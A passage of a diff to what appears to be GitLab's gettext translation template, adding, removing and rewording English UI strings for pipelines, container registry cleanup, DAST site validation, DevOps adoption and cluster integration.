+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3280,9 +3407,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3313,6 +3437,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3517,6 +3647,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3587,6 +3723,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4052,6 +4194,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4799,9 +4966,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4985,9 +5161,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5129,6 +5302,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5402,12 +5578,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5441,6 +5611,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5609,7 +5782,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6170,9 +6346,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6608,7 +6784,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6951,6 +7127,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7074,9 +7253,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7272,7 +7451,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7413,7 +7613,16 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8248,9 +8469,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8311,6 +8529,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8438,9 +8659,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8789,9 +9037,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8816,7 +9061,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8900,9 +9145,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9320,6 +9562,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9338,6 +9583,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9374,6 +9622,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9431,6 +9682,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9509,15 +9763,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9527,15 +9775,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9726,9 +10043,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9801,9 +10115,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9852,9 +10163,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9960,6 +10277,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10035,6 +10355,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10065,6 +10388,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10137,7 +10463,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10506,6 +10835,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10617,6 +10949,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10854,9 +11189,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10893,6 +11225,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10971,6 +11306,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11205,6 +11543,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11487,6 +11834,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11526,12 +11876,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11830,7 +12189,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11986,9 +12339,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12034,9 +12384,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12121,6 +12468,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12637,6 +12984,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12880,15 +13233,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13717,6 +14061,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
